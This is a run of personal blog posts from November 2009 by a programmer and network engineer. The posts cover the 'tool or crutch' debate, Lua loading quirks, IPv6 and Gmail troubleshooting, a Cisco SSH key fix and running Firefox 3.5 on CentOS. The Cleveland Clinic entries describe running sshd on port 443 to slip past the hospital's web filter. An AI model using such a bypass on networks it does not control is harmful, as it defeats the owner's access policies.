The question becomes “does the IDE extend or improve your normal capability to program?” If it is something that simply makes up for a lacking that someone has—a lacking that a normal or even robust person would not have, then it is a crutch. If it is something that extends the capabilities of a person beyond what a healthy or robust person could do without the tool, it is not a crutch. Even when talking about an actual physical crutch, if the person uses it to facilitate walking while they are injured and while they use it they walk no better than when they were healthy, then it is a crutch not only by formal name, but also in the abstract. If the person uses the crutch to perform acrobatics they couldn't otherwise do, then while it physically a crutch, it is not being used as such in the abstract—but rather as a tool that extends their capabilities. The improvement could be in speed of delivery, quality of the final product—any kind of improvement.
For some reason, Chris' comment reminded me of Oscar Pistorius, who's taken crutches to Olympic heights, literally. And after that, I don't really know what to say.
My old college friend Charles Wheelus piped in with:
As our need to work with various types of information becomes increasingly complex, it becomes necessary to work with higher and higher levels of abstraction. Imagine a world where everything had to be programed in assembly language.
Clearly there is a need for the people who "don't really care how it works underneath", as well as those who do.
The revolution we are experiencing is for every one who chooses to participate, not just those who poke bits well.
What may be a “crutch” from one persons perspective is simply how someone else accomplishes their goal. I don't think it should bother you just because someone solves a problem differently than you do … even if your way is better.
Well, I don't think I'd mind a world where everything was programmed in assembly (which was my daily programming language of choice in college). But I do get his point. While I hate PHP and only use it under duress, I can appreciate that it brings a simple programming platform to people who would otherwise be unable to program a dynamic website.
I just don't want to work with the resulting code.
There is another issue though, with the people “who don't really care how it works underneath,” and Mark Grosberg said it succinctly (in email):
The future is going to be really funny as more and more people who know how everything really works get out of the field.
Sigh. Welcome to the future!
Perhaps a bit pessimistic, but yes, it is a valid concern I have (as well as Mark).
Wednesday, November 04, 2009
These are the programmers I'm scared of …
One thing at a time. Let's first write it out longhand:
def square_indexes(square_number) result = [] first_row = square_number / 3 first_column = (square_number % 3) * 3 first_row.upto(first_row+2) do | row | first_column.upto(first_column+2) do | col | cell_number = row * 9 + col result.push(cell_number) end end result endThat's a lot of code, and I'm afraid it won't work. And it doesn't:
1) Failure: test_square_four(TC_MyTest) [./sudokutest.rb:31]: <[39, 40, 41, 48, 49, 50, 57, 59, 59]> expected but was <[12, 13, 14, 21, 22, 23, 30, 31, 32]>.We see that it has started in row 1, not row 4 as it should have, but that it is taking the right corresponding cells after that incorrect start. So the row_number init is wrong.
Now, this might have been a good time to just throw the code away and start over, which is a pretty good trick. If I had felt the need to debug, I'd have tried to start over instead, since that method was pretty weird. But I see exactly what the bug is—I think—so I'll just fix it. If it doesn't work, I'll start over.
This is the type of programmer I was talking about yesterday—not only is he unsure about 14 lines (and makes it out to sound like it's thousands of lines) of a dynamic programming langauge (Ruby in this case), but he's not even clear he understands the bug in the code.
Also, the “crutch” this programmer uses is “unit testing,” which to me (because the culture is totally alien to my way of thinking), translates to “let us write a ton of code to catch bugs that in a statically typed language, the compiler would catch.”
Update a few minutes later …
I don't know if that programmer really thinks that way, is just playing a “I don't know what I'm doing” type of programmer for the sake of demonstration, or it's a serious case of “the culture is totally alien to my way of thinking” but I'm finding his presentation of his programming methodology extremely annoying.
I choose to say “we'll need” here to emphasize that implementing those methods in yesterday's spike was a violation of YAGNI, the rule that says not to implement things just because you need them.
I don't think YAGNI doesn't mean “not to implement things just because you need them.” But I could be wrong, as I think Ron Jeffires (who's writing these annoying articles) coined the term. And even if he is right, he's giving excuses for not following his own advice.
Alien cultures indeed.
And comments like:
… I have to figure out which row number a cell is in, which column, and which square. Each of those is a bunch of integer divides and modular arithmetic, which I have a good chance of getting wrong …
…
Maybe it means I've thought too much about this, or that I'm following my anticipation too much.
…
Here we go. Hold on, that was a lot of code, ten or so lines … [But he's written about a bazillion lines of code implementing test cases, but I guess those don't count. —Editor]
Isn't helping my confidence with his coding skills any. Is it any wonder I
consider dynamic programming afficiandos as sloppy thinkers? And the bit about getting divides
and modular arithmetic wrong? That's just … wrong! You are not
a programmer if you don't understand modular arithmatic alien to my way
of thinking.
Okay, I think I'll stop reading this now.
Thursday, November 05, 2009
The dinosaur that I am
Wlofie and I discussed The Question for a few hours today. Wlofie's answer was something along the lines of: a tool is a crutch when it's removed from a practitioner who can not conceive of a way of continuing their job without it.
It's a nice definition, and it certainly fits my biased viewpoints on the subject, but in thinking about it longer, to most programmers, even a simple text editor is a crutch.
Imagine being given a 1982 era IBM PC with a floppy drive and a single disk that contains a
bootable MS-DOS system with IO.SYS
,
MSDOS.SYS
and COMMAND.COM
(the minimum required to
boot to a usable (for various values of “usable”) system at the time) and
a stack of reference materials. Your goal (assuming you are a programmer) is
to write a program that does something simple, like, play a game (however
badly) of tic-tac-toe. No editor.
No assembler. No compiler. No linker. Just COMMAND.COM
and a
stack of reference materials.
It's not impossible. Just
difficult and insanely tedious. First order of business would be to
write a program (by typing binary data directly from the keyboard to a
.COM
file) that accepts octal codes [1] and outputs the binary values
(I don't even need to deal with files as file redirection can help
here).
From there, I can hand write a simple Forth environment and using my “octal to binary conversion” program, enter it in and debug it. Once that's working, I can bootstrap myself further.
Would I ever seriously do such a thing? Well … I doubt it, unless, perhaps, if I ever felt the need for a programmer's version of survival camp (dropped in the middle of the Rockies with nothing more than the clothes on my back and a rusty pocket knife—see you a month!) but more importantly, I could do it.
And it's entirely conceivable that I'm overintellectualizing this into
the ground (or I'm upset that kids programmers today just have no
concept of what it's like to walk eight miles uphill in 10′ snow
drifts to school program in only 16K without benefit of a full-screen editor).
- Why octal and not hexadecimal? Because the instruction set just makes more sense when viewed octally (that is, in groupings of eight) than hexadecimally (in groupings of sixteen), which would make hand-assembly of instructions easier to do. [Back]
Friday, November 06, 2009
I never really thought about website being available via IPv6
So I'm trying to view a website (via Bunny via email) and it's not coming up at all under the Mac. It's just a blank page.
It comes up under Linux, but since I don't have speakers hooked up to that computer, watching the video (“Deer for breakfast, anyone?” in Texas—it's not what you think) would be “suboptimal” as they say.
I then try my standard diagnostic technique in such cases. From the
command line, I telnet
to the offending website and see what I
get:
[spc]marvin:~>telnet www.snotr.com 80 Trying 2a00:d00:ff:131:94:228:131:131… ^C [spc]marvin:~>
Oh! That's interesting!
marvin
(the Mac) is trying to use IPv6 to connect to the site.
Ah! That's right! I was playing around with IPv6 several days ago on the local network here at Chez Boca and I configured Firefox to try connecting via IPv6 if possible. Turning that option off brought the site up immediately.
But! That also explains the difficulties I've been seeing in one of the sites I check daily: The Devil's Panties (think of it as a semi-fictionalized illustrated blog that presents itself as a webcomic). It was taking an inordinate amount of time to come up for the past several days and I kept thinking it was due to a network issue at Keenspot.
Nope—it was my browser attempting to connect to the IPv6 address first.
I think it's cool that there are sites responding to IPv6. I wonder how many more of them exist?
Technologically enhanced synaesthesia
“It was slightly strange at first,” Wächter says, “though on the bike, it was great.” He started to become more aware of the peregrinations he had to make while trying to reach a destination. “I finally understood just how much roads actually wind,” he says. He learned to deal with the stares he got in the library, his belt humming like a distant chain saw. Deep into the experiment, Wächter says, “I suddenly realized that my perception had shifted. I had some kind of internal map of the city in my head. I could always find my way home. Eventually, I felt I couldn't get lost, even in a completely new place.”
…
Then he brought out his SOES, a mesh of hard-shell plastic, elastic, and Velcro that fit over my arms and torso, strung with vibrating elements called tactile stimulators, or tactors. “The legs aren't working,” Schnell said, “but they never helped much anyway.”
Flight became intuitive. When the plane tilted to the right, my right wrist started to vibrate—then the elbow, and then the shoulder as the bank sharpened. It was like my arm was getting deeper and deeper into something. To level off, I just moved the joystick until the buzzing stopped. I closed my eyes so I could ignore the screen.
Finally, Schnell set the simulator to put the plane into a dive. Even with my eyes open, he said, the screen wouldn't help me because the visual cues were poor. But with the vest, I never lost track of the plane's orientation. I almost stopped noticing the buzzing on my arms and chest; I simply knew where I was, how I was moving. I pulled the plane out.
Via Jason Kottke, Wired 15.04: Mixed Feelings
The topic just keeps coming up.
It's an interesting article about extending our senses into realms we aren't accustomed to, such as an innate ability to tell North, or feeling our way through righting an airplane. Forget about making our lives easier, the tools mentioned in the article give us abilities we don't even have! Tools? Crutches? Very hard to say.
And The Question gets deeper yet …
The world's best bike shed
For Wlofie, an automated bicycle garage. It's a pretty cool concept, although it looks to be rather expensive to install.
Saturday, November 07, 2009
Aaaaaaaaaaaaaaaaaah!
Last Sunday I sent an important email to fred@example.com
(obviously not the real address). I didn't hear anything back and on
Wednesday, sent a follow-up message. I still didn't hear anything back.
I then checked my logs, and found the following (formatted for easy viewing):
mail.log:Nov 1 18:31:09 brevard postfix/smtp[32387]: D9024170C57C: to=<fred@example.com>, relay=aspmx.l.google.com[209.85.221.90], delay=1, status=sent … mail.log:Nov 4 20:24:19 brevard postfix/smtp[13490]: 6FE3E1AA92E9: to=<fred@example.com>, relay=aspmx.l.google.com[209.85.221.67], delay=1, status=sent
Oh no … it's Gmail.
We've had issues at The Company with Gmail. Specifically, Gmail seems intent upon classifying all email sent from The Company as spam. And seeing how my website is being hosted by The Company, my guess is Gmail is classifying my emails as spam as well.
I sent a test message to my Gmail account and sure enough, it ended up in the spam folder, with no way of telling why it was sent there, or a way to tell Gmail that I'm not a spammer.
Head, meet desk.
Ow.
Sunday, November 08, 2009
Yes, I'm still going on about this …
General Weider said, “I find this atmosphere of mystery childish.”
“You won't in a moment,” said Shuman. “This is not something we can leak to the firstcomer. Aub!” There was something imperative about his manner of biting off that one-syllable name, but then he was a great Programmer speaking to a mere technician. “Aub! How much is nine times seven?”
Aub hesitated a moment. His pale eyes glimmered with a feeble anxiety.
“Sixty-three,” he said.
Congressman Brant lifted his eyebrows. “Is that right?”
“Check it for yourself, Congressman.”
The congressman took out his pocket computer, nudged the milled edges twice, looked at its face as it lay there in the palm of his hand, and put it back. He said, “Is this the gift you brought us here to demonstrate. An illusionist?”
“More than that, sir. Aub has memorized a few operations and with them he computes on paper.”
This story has been in the back of my mind the past few days as I struggle with The Question. Are we headed towards a time when we blindly accept what the computer tells us?
The story itself isn't that long and is worth reading. I can wait. I have this slide ruler I can play with while you read …
Monday, November 09, 2009
“But it's about the dancing!”
For months now Bunny and I have been going back and forth on things like Microsoft songsmith, Auto-Tune which has been, basically, an argument about tools vs. crutches. [1] That topic surfaced once more today when Bunny mentioned that some Aussies are rather upset at Britney for lip syncing (and here I thought that was common knowledge—guess not down under).
Here is one Australian's take on it:
That being so, it makes sense that when it comes to touring she should mime. After all, it allows the projection of voice perfection, or at least as perfect as it sounds on CD. What sort of a show would it be if she were heard to miss a note or sing offkey. If you had spent a couple of hundred dollars or more, you'd probably walk out and/or demand your money back.
Still, if this is a comeback tour (with the somewhat rapidly turning ironic title of Circus) then surely wouldn't a singer want to reacquaint her voice to her fans? Then again maybe her singing voice ain't what it used to be.
The truth, for the punters, is you'd never know anyway unless you heard her singing in the shower. This is the age of musical perfection where every singer can have perfect pitch, where any imperfection can be erased, where the human can be deleted from the process of recording. It's in the technology. In the digital age, sound can be manipulated. Voices can be modulated, on stage and in the studio. You would never know unless you had something with which to compare it.
Miming, however, is not new. Bands and solo singers were doing it on television pop shows decades ago. Indeed, wasn't it strange that those guitars sounded just like they did on the record, yet they weren't plugged in, and wait a minute where are the amps?
Concerts, however, are another thing. There's a transaction involved between fan and artist. Which leads to one of the most notorious cases in popular music of things not being as they seem. Milli Vanilli won a Grammy Award. Yet the duo of Fabrice Morvan and Rob Pilatus, whom everyone thought were Milli Vanilli were, in fact, just the pretty faces, the image music entrepreneur Frank Farian wanted to project to the public. The voices were actually those of studio singers. The whole thing came crashing down when Morvan and Pilatus were found to be lipsynching at one of their concerts.
Britney Spears | lip synching | Warwick McFadyen
Hmm … tool … crutch … this is appearing to be the Month of the Tool …
- I view such things as tools, Bunny views them as crutches, but she's had musical training and I haven't. I view such things as IDEs and PHP as crutches, whereas I think Bunny would view them as tools, but I have a background in programming. I'll have to ponder on this some more. [Back]
Perhaps an 80M script is a bit excessive …
Every so often I'll do a bit of work on an unimportant project, just to keep myself sane from working in PHP and Drupal.
About a month ago I decided to save the data from email indexer program as a Lua program, something like:
emails = { filelist = { { file = "/home/spc/Mail/sent" , size = 902273, time = "Tue, 10 Nov 2009 09:35:10 GMT", }, { file = "/home/spc/LINUS/Archive.mail/20060607/cctalk", size = 230140, time = "Tue, 02 May 2006 18:22:28 GMT", }, -- and so on ... }, mbox = { { info = { mboxfile = 1, oh={45, 322}, ob={368, 15}}, ['Message-ID'] = "<20081021051331.GA30804@lucy.localdomain>", ['From'] = { "Sean Conner <sean@conman.org>",}, ['To'] = { "sean@conman.org",}, ['Subject'] = "This is a test", ['Date'] = "Tue, 21 Oct 2008 01:13:31 -0400", ['MIME-Version'] = "1.0", ['Content-Type'] = { "text/plain", "charset=us-ascii", }, mimeheaders = { ['Content-Disposition'] = "inline", }, ['Lines'] = 1, extraheaders = { ['User-Agent'] = "Mutt/1.4.1i", ['Status'] = "RO", }, }, -- and so on ... } }
That way, I could load it into the Lua interpreter and work with the data in Lua, instead of writing a bunch of C code. I debugged the output to make sure it was valid Lua and everything was fine.
Until I threw 80,919 messages from 2,360 email files I had lying around (going back to 1991). Then all I got from Lua was:
lua: constant table overflow
Hmmm … okay, maybe throwing a 80MB into the Lua interpreter wasn't such a good idea.
But then tonight I decided to give it one more try. The source code to Lua didn't reveal any immediate settings to tweak, so I did a bit of searching. And yes, I'm not the only one with that problem. Reading further, I learned that while there isn't a limit to the size a Lua table can get, there is a limit to the number of constants in a single Lua function.
But the code isn't in a Lua function.
Or is it?
It is. When you load Lua code from an external source, it gets compiled into an anonymous function that needs to be run. So, the solution is to break the initialization into several functions, and from some experimenting, I found that things would work (with this particular data set) if I only initialized 16,384 items per function.
But there's a difference between “it worked” and “this is a usable solution.”
Generating the Lua code? 30 seconds.
Loading the Lua code into the interpreter? Six minutes and an overheated CPU
Interesting …
Update Tuesday, November 10th, 2009
I managed to hit the worst case run-time with the code. Change the order of things, and it runs in about 15 seconds. Go figure …
Update Wednesday, February 3rd, 2010
It was a bug in Lua that has since been fixed.
Tuesday, November 10, 2009
Perhaps an 80M script isn't that excessive …
Okay, I played around a bit with the Lua code from last night. Here, again, is the six minute run:
[spc]lucy:/tmp/lua>time lua -i show.lua Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio > dofile("default.lua") > os.exit() real 5m49.052s user 5m43.279s sys 0m0.577s [spc]lucy:/tmp/lua>
show.lua
is some code to display a given table, and it's
only being used here to see if the code actually built the huge table up
correctly.
Okay, six minutes. I'm not sure what prompted me to do the following, but I did it anyway:
[spc]lucy:/tmp/lua>time lua -i default.lua Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio > dofile("show.lua") > os.exit() real 0m12.354s user 0m6.293s sys 0m0.413s [spc]lucy:/tmp/lua>
Oooohkaaaaay … what happend here? To make matters more interesting,
it's repeatable. I load show.lua
(at 1,101 bytes) first, and
it takes six minutes. Load default.lua
(the 80MB file) and it takes 12 seconds. And if I do it
this way:
[spc]lucy:/tmp/lua>time lua Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio > dofile("show.lua") > dofile("default.lua") > os.exit() real 0m16.130s user 0m6.311s sys 0m0.365s [spc]lucy:/tmp/lua>
and it takes 16 seconds (only because it took me an additional four seconds to type the extra line of code).
Very weird.
Update Wednesday, February 3rd, 2010
It was a bug in Lua that has since been fixed.
Wednesday, November 11, 2009
“You are in a fractal of twisty little chambers …
Years ago in college, generating fractals with fractint
was a popular pastime among my group of friends. But it was mostly (if not entirely) two-dimentional fractals being generated.
But this three-dimentional Mandelbrot set?
Wow!
Thursday, November 12, 2009
You do realize my Twitter feed is entirely automated, right?
BOSTON—Things looked bleak for the Angels when they trailed by two runs in the ninth inning, but Los Angeles recovered thanks to a key single from Vladimir Guerrero to pull out a 7-6 victory over the Boston Red Sox at Fenway Park on Sunday.
Guerrero drove in two Angels runners. He went 2-4 at the plate.
“When it comes down to honoring Nick Adenhart, and what happened in April in Anaheim, yes, it probably was the biggest hit (of my career),” Guerrero said. “Because I'm dedicating that to a former teammate, a guy that passed away.”
Guerrero has been good at the plate all season, especially in day games. During day games Guerrero has a .794 OPS. He has hit five home runs and driven in 13 runners in 26 games in day games.
After Chone Figgins walked, Bobby Abreu doubled and Torii Hunter was intentionally walked, the Angels were leading by one when Guerrero came to the plate against Jonathan Papelbon with two outs and the bases loaded in the ninth inning. He singled scoring Abreu from second and Figgins from third, which gave Angels the lead for good.
The Angels clinched the AL Division Series 3-0.
Via Hacker News, Is Software Set to Replace Sports Journalists? | Singularity Hub
The above article is about the October 11th playoff game between the Angels and the Red Sox, and I quote it here not because I'm a fan of baseball (I'm not), but because Bunny is, and because it relates to the current topic of the month: tool, or crutch? In this case, the story above was written entirely by software.
I guess that's one way to cut costs in a dying industry.
Monday, November 16, 2009
Once more into the breech
“The unexamined life is not worth living.”
Socrates
“Welcome to yet another installment of ‘Technological Navel Gazing,’ with your host, Sean.”
What follows is my answer to Corsair's latest post where he takes me to task about the current theme running through my blog here the past two weeks, and correct a few misconceptions he has about what I'm trying to get across here.
The part of this debate that rubs me entirely the wrong way is this: for a person who works with technology, who makes his living manipulating it supporting those who also use it to make their living, Conman is decidedly anti-technology and has, over the years, has developed a singular distrust of it. Perhaps because he is so gifted at manipulating it he is keenly aware how easily it can be manipulated and perverted. I don't know.
I'm not anti-technology. Heck, roughing it for me is a hotel room with luke-warm running water and no Wi-Fi. I'm grateful for technology and all the wonders it brings to us. Without the bathysphere we'd be unable to explore ocean deeps, or without spacesuits we'd be unable to survive on other planets.
My problem with technology isn't the technology itself (heck, even Microsoft has done us some good, if only to make PCs cheap enough to make them ubiquitous), but with the blind, non-thinking use of such. Garbage in, garbage out and all that.
And if you asked Conman, “What is your car: tool or crutch?” He would likely answer “crutch.” But when asked if he would ever give up his car, throw away the keys, and never drive it again, I'm sure the answer would be a firm and resounding “No.”
The first answer, yes, I could see myself saying it's a “crutch.” The second answer isn't a firm and resounding “no” though. If I lived in a place like EPCOT, why even have a car? (Although I have doubts about the actual livability of such a planned community—Le Corbusier and his Ville Contemporaine come to mind, but that's beyond the scope of this discussion.) And I got along quite fine sans car the few times I've been in Boston (heck, the few times I was in a car I wished I wasn't, but that may have been the fault of the driver).
Without a car, Conman cannot earn his living without becoming a burden to others; his job requires that he be certain places at certain times and in reasonable shape to work. Walking everywhere, therefore, is no longer sufficient to live the lifestyle to which he has obligated himself, and therefore, I would argue that his Lumina is just as indispensable a tool to Conman as the hammer is to a carpenter.
Actually, Corsair, I work from home. It's actually not uncommon for me to go an entire week without driving (and when I do have to drive, it's to The Weekly Meeting™ of The Company™ up in Wellington for a lunch meeting (more or less) across the street from your house [1]). I'm lucky in that regard. I'm also living within walking distance of the Tri-Rail.
There's also Wlofie, who not only lives here in Lower Sheol, but does so without a car. Yes, it's not easy for him, but he's doing it.
But “The Feeling of Power” does highlight one of Conman's greatest fears: that we as a society have grown so dependent upon the technology we have swaddled ourselves in that we would all wither and die if it were turned off this afternoon, never to be turned on again.
And I sincerely believe that this fear, more than anything else, is at the very heart of the “Tool vs. Crutch” debate. It can be the only explanation why Conman would journal about it for more entries than I've seen him journal about anything else. [Actually, control panels would be the topic that I tend to rant about the most in this journal, but since it's been over a longer period of time, it might be hard to see. — Sean]
Too late, Conman, we're already very heavily dependent upon our technology for a comfortable existence.
It's funny; I'm reminded of the terror sparked by the Y2K bug that the whole world would be thrown into chaos and anarchy on 1/1/2000. And let's say all things technological really did go to Hell in a hand-basket on 1/1/2000. Would it have been an uncomfortable shifting of humanity's priorities and comfort levels? Yes, definitely. Would we have all survived? I submit to you that despite being uncomfortable for a while, the vast majority of us would have.
I'm not sure it's one of my greatest fears (hights and earthquakes are truely my greatest fears, irrational or not), but yes, it is a concern. Yes, I am concerned we might be a bit too reliant on our technological base. Back in 2005, parts of Lake Worth were without power for nine days (oh thank you Lake Worthless Utilties) but that was the exception—most people had power back within a day or so. Even if Florida as a whole was without power for nine days, it wouldn't be so bad. Well, Georgia and Alabama might not like the constant stream of refugees looking for food, fuel and air conditioning, but the situation wouldn't disolve into total anarchy, as long as parts aren't in anarchy.
But North America? (If you think this wouldn't affect Canada and Mexico, think again. There are three major grids between the US and Canada and Mexico has its own problems.) Power goes out. And because the power goes out, fuel reserves are practically useless because of electric pumps used to get the fuel out to where it's needed, so the fuel runs out in a few days or weeks. Once the fuel is gone, so is the food. And don't forget that at least here in the US, only 2% of the population are farmers. Do you know how to get food outside a restaurant or supermarket? Heck, do you know any farmers? I don't. And while I know how to make butter [2], I have no idea how heavy cream is made, much less the location of any nearby cows, assuming I knew how to make heavy cream from raw cow juice.
I think you're a bit more optimistic about survival in a total collapse of our civilization (and by that, I mean, the entire power infrastructure collapses).
Now, do I think we're headed towards such a apocalyptic collapse? No.
But I do worry about the ever growing population of people who take technology totally for granted and don't even bother to think anymore (and no, I didn't search that out to prove a point—it just magically appeared in email), because the computer does the thinking for them.
- Wellington is 30 miles away from Chez Boca. So why do I drive so far to attend a lunch meeting once a week? Because Wellington is the central point for everyone that works at The Company™—working from home has its benefits and drawbacks. [Back]
- Two cups heavy cream and a pinch of salt. In a food processor it's less than a minute away from buttery goodness; otherwise expect your arm to fall off as you try to whisk or churn your way to buttery goodness. [Back]
Tuesday, November 17, 2009
Technology on the edge of uselessness
Bunny is having an outpatient procedure at the Cleveland Clinic today, so here I am, sitting in the waiting room attempting to work.
And not having a very successful time of it.
They obviously have wireless, else I wouldn't be posting this, but the wireless appears to only let DNS and HTTP and nothing else. I can't even ssh
out to check email.
There's also a “not quite so invisible” invisible web proxy. I wasn't surprised at the “please ignore our Terms of Service and just click here to continue” page on my first web access, but I didn't quite expect this:
This Page Cannot Be Displayed
Access to this site has been restricted
The Internet site you are attempting to visit has been blocked to all Cleveland Clinic employees
Cleveland Clinic Policy #811 permits access to the Internet only “To facilitate access to business related information and in support of hospital business.”
If you are a CCHS employee and you feel that you have received this message in error,you may email webfilteradmin@ccf.org, with the URL ( http://www.dadhacker.com/blog/?p=1161 ) of the website you are attempting to reach.
And the site in question? Dad Hacker? It's a programmer's blog, not a site about hacking. Oddly enough, I can reach Hacker News.
Go figure.
It is perhaps worse that it's almost useful.
I told Smirk last night that I would have my phone on my at the very least, but I just checked and there's no service at all in the waiting room. I have to leave the hospital to get a signal, and even then, all I've been able to get is a busy signal no matter what number I use to call Smirk (cell, home, business line—no go).
Sigh.
Technology on the edge of uselessness, Part II
Heh.
Forget Dad Hacker, I can't even reach The Cleveland Clinic website from within the Cleveland Clinic!
This Page Cannot Be Displayed
The system cannot communicate with the external server ( my.clevelandclinic.org ). The Internet server may be busy, may be permanently down, or may be unreachable because of network problems.
Please check the spelling of the Internet address entered. If it is correct, try this request later.
If you have questions, or feel this is an error, please contact Web Filter Admin ( webfilteradmin@ccf.org ) and provide the codes shown below.
Oh, and I can't get to the web site referenced.
Fun times.
Wednesday, November 18, 2009
Again going into the breech
I may have been a bit unfair towards the network policies of the Cleveland Clinicyesterday but I was surprised by their apparent draconian network policies (does that make me an optimist because I tend to believe corporate networks are open, or hopelessly naïve about corporate policies towards their own employees?).
Of course Cleveland Clinic can run their network as they see fit. And I can see why they would be hesitant to run a looser, parallel network just for visitors. It's just that as the Network Engineer for The Company (Dan the Network Engineer technically works for another company, one where we share some infrastructure and he currently handles the connection to our Internet peers, which is why I defer to him on occasion) I run an open network on the “assume innocent until proven guilty” principle (or, blacklists) rather than the “assumed guilty until proven innocent” principle (or, whitelists). And it always pains me to see the latter principle in production (and yes, I understand the mindset behind it; I just don't like it personally).
Looking back on it, I'm rather amused that I couldn't even get to the Cleveland Clinic website from their own network (heh). And now that I know what I'm up against (Bunny has a follow-up consultation later today and on Friday), I can plan accordingly.
Or at least know what I can expect [1].
- I've set
sshd
listening in on port 443 on my home box, and checked—yes, The Monopolistic Phone Company isn't blocking inbound port 443 (yea!). As that is the HTTPS port, it should be forwarded, but not through the invisible proxy. Muahahahahahaha! [Back]
Update from the Cleveland Clinic
It works! Muahahahahaha! Port 443 goes straight through the firewall, and I'm able to
ssh
straight into my home computer. Woot!
Saturday, November 21, 2009
Woo hoo, Cisco!
We finally installed a new Cisco router to replace our last Riverstone router in our network. I pre-configured the router and the replacement went fairly smoothly.
In, out, nobody got hurt. Just how I like it.
Later on I go to log into the router (to backup the configuration):
[spc]lucy:~>ssh core02.rt.bct.XXXXXXXXXXX The authenticity of host 'core02.rt.bct.XXXXXXXXXXX (XXXXXXXXXXXXXX)' can't be established. RSA key fingerprint is f0:3f:06:c8:ee:7d:40:55:38:57:a4:5c:bd:d6:81:a2. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added 'core02.rt.bct.XXXXXXXXXXX,XXXXXXXXXXXXXX' (RSA) to the list of known hosts. ssh_rsa_verify: RSA modulus too small: 512 minimum 768 bits [spc]lucy:~>
What the?
Turns out that ssh 2
requires a minimum key length of 768
bits, but Cisco defaults to key lengths of 512 bits.
Way to go, Cisco! Woot!
To get in, I just logged into an adjacent router, then used that router's
version of ssh
(which works just fine with 512 bit keys,
breaking the ssh 2
standard), which allowed me to clear the
existing key (crypto key zeroize rsa
) so I could regenerate a
larger key.
Tuesday, November 24, 2009
Our Modern World
Let me get this out right up front—this is a rant. Don't expect any rational thought here.
Anyway … at The Company™ we have a particular network issue. It's critical, but it isn't “customer screaming on the phone to get it back up yesterday” critical (although it's getting close to that).
We've ruled out The Monopolistic Phone Company as the source of the problem. That particular part of the network circuit is fine. In fact, we've isolated the problem to network connection between two cabinets in a data center (not The Data Center at Boca Raton—this one is in another city).
The problem I'm ranting about is that this particular run of cable between two cabinets involves seven companies (including us) that need to be co-ordinated to fix this particular issue.
Aaaaarg!
Smirk started the ball rolling on this yeterday morning. Twelve hours later, he got a bit further, then a bit further last night. He then told me to expect a call sometime late.
It came at 6:30 am.
Grrrrrrrrrrr.
From my vantage point, the problem is that we don't have a straightforward network connection, since it comes through one cabinet somewhere in the data center to another cabinet somewhere else in the data center, which apparently isn't a common occurance in this particular data center. Even rarer, our connection uses VLANs, which moves us from the “rare” column to the “what the heck is that?” column (I suspect that the intermediary switches the data center is using to hook the two cabinets together aren't configured for VLAN traffic, but I won't know until we get everybody together onto the Conference Call From Hell sometime in the next few hours or so … ).
A part of me wants to blame outsourcing, but seeing how we're one of the parties being outsourced to (providing the Internet connections and some specialized routing), I really shouldn't be complaining all that much. But the sheer number of parties involved is expressly due to a whole bunch of outsourcing by everybody involved. Now, I understand the arguments for outsourcing—concentrate on your core competency and hire other companies to handle the other stuff that's needed but are outside the scope of your company, but seven companies? For what appears to be a misconfigured switch?
Our Modern World is now working
I fell asleep waiting for The Conference Call From Hell.
It never happened.
But, about 10 hours later, and the networking issue is resolved. It may be an issue with The Monopolistic Phone Company (eight parties) and another carrier (nine parties! Nine total parties! Mua ha ha ha ha ha!).
It's working, and that's all I care for.
Thursday, November 26, 2009
Notes from a post-Thanksgiving Dinner
Plates are everywhere. Piles of food still clutter the kitchen. Bunny, her mom and I are slowly waddling from the dining room to the family room to veg out for the next few hours.
“I hope ‘Wheel of Fortune’ is still on,” said Bunny. Her mom loves the show.
“Why wouldn't it be?” I asked.
“There could be a football game on,” she said.
“Oh yes, the Detoit Lions and some other team always play on Thanksgiving, don't they?”
“Yes.”
“Oh, and there's also “A Charlie Brown Thanksgiving” they could be showing.
Bunny had the TV on and was flipping through the online guide. “Oh good,” she said. “Wheel of Fortune is on at 7:00 pm.”
“And I see ‘Jeopardy’ is on next.”
“And oh—look! It's ‘A Charlie Brown Thanksgiving!’”
“Wait a second,” I said. “Scroll back a bit … Spanish? It's in Spanish?”
“No, there's an alternative audio track in Spanish.”
“Ah. So what's ‘Muah muah muah muah muah muah muah’ in Spanish?”
Sunday, November 29, 2009
How to run Firefix 3.5 under CentOS 4.4
I finally received a Google Wave Invite (via Smirk) and decided to give it a try. I go to the link, sign in with my Google email address, and get the following:
I'm using Firefox 2.0.0.20. Yes, it's an older version, but hey, it works—why fix it?
So I download the latest Firefox (3.5) and try the website again:
[spc]lucy:~/bin/firefox>./firefox ./firefox-bin: error while loading shared libraries: libpangocairo-1.0.so.0: cannot open shared object file: No such file or directory [spc]lucy:~/bin/firefox>
Ah yes, that's what happend the last time I tried running Firefox 3.
I'm using CentOS 4.4 as my desktop, and yes, I'm using an older distribution of a distribution geared towards servers as a desktop. As for the older distribution part, hey, it works, and I dislike upgrading if I don't have to (I used RedHat 5.2 (not to be confused for their latest 5.2 offering) for about ten years prior to my upgrade to CentOS 4.4). As for the server bit, well … I do a lot of server development, and we run CentOS at The Office™ so it makes my life easier.
And I'm used to RedHat/CentOS.
So anyway, back to the current issue—Firefox 3.5.
The default repositories for CentOS 4.4 don't carry
libpangocairo
and after some searching, I found that installing
frysk
(ah, so
that's what frysk
does) I get
libpangocairo
as part of the package, under
/usr/lib/frysk
. So, all I need to do is tell Firefox 3.5 where
to load that library and I'm good to go.
[spc]lucy:~/bin/firefox>LD_LIBRARY_PATH=/usr/lib/frysk/ ./firefox ./firefox-bin: error while loading shared libraries: libdbus-glib-1.so.2: cannot open shared object file: No such file or directory [spc]lucy:~/bin/firefox>
Okay … hmm … I do have a libdbus-glib-1.so.0.0.0
—what
happens if I symbolically link libdbus-glib-1.so.2
to it?
[spc]lucy:~/bin/firefox>LD_LIBRARY_PATH=/usr/lib/frysk/ ./firefox ./firefox-bin: error while loading shared libraries: libdbus-1.so.3: cannot open shared object file: No such file or directory [spc]lucy:~/bin/firefox>
Okay, let's symbolically link libdbus-1.so.3
to
libdbus-1.so.0.0.0
and see what happens—woot! Success! I'm
running Firefox 3.5!
And now I can try out that Google Wave Thang everybody is so hyped about.
Tuesday, Debtember 01, 2009
A new version of the greylist daemon, in time for the holidays
Just in time for the Holiday Season I released a new version of my greylist daemon—it's the “Miscellaneous and Arbitrary Code Changes For the Christmas Holiday Season” version, although the code changes aren't quite that arbitrary. In fact, it's just a bunch of very small, somewhat arbitrary changes that don't really all fit into a single theme, unlike the previous versions.
